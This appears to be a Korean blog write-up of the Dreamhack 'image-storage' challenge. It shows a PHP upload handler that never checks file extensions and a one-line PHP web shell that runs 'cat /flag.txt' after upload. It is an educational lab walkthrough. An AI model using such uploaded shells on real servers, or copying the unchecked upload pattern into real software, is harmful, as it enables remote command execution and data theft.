Tiny Bunny

Wargame/dreamhack

image-storage

bento 2023. 10. 3. 17:10

드림핵 

Dreamhack image-storage

 

File Upload Vulnerability

공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생

파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드하여 원하는 시스템 커맨드를 실행


 

image-storage

https://dreamhack.io/wargame/challenges/38/

 

image-storage

php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
  • upload.php

파일 업로드할 때 이미 등록된 거면 already exists, 아니면 업로드하고 경로 알려줌

업로드 파일 확장자 검증하는 게 하나도 없음

/flag.txt를 출력할 수 있는 파일을 업로드하면 되겠다.

 

flag파일 확인

 

<?php
system('cat /flag.txt');
  ?>

간단한 코드 작성

 

업로드 후 list 에 들어가서 클릭해보면

 

flag 획득

728x90

'Wargame > dreamhack' 카테고리의 다른 글

file-download-1  (0) 2023.10.03
command-injection-1  (0) 2023.10.03
MANGO  (0) 2023.10.03
NoSQL  (0) 2023.10.03
simple_sqli  (0) 2023.10.03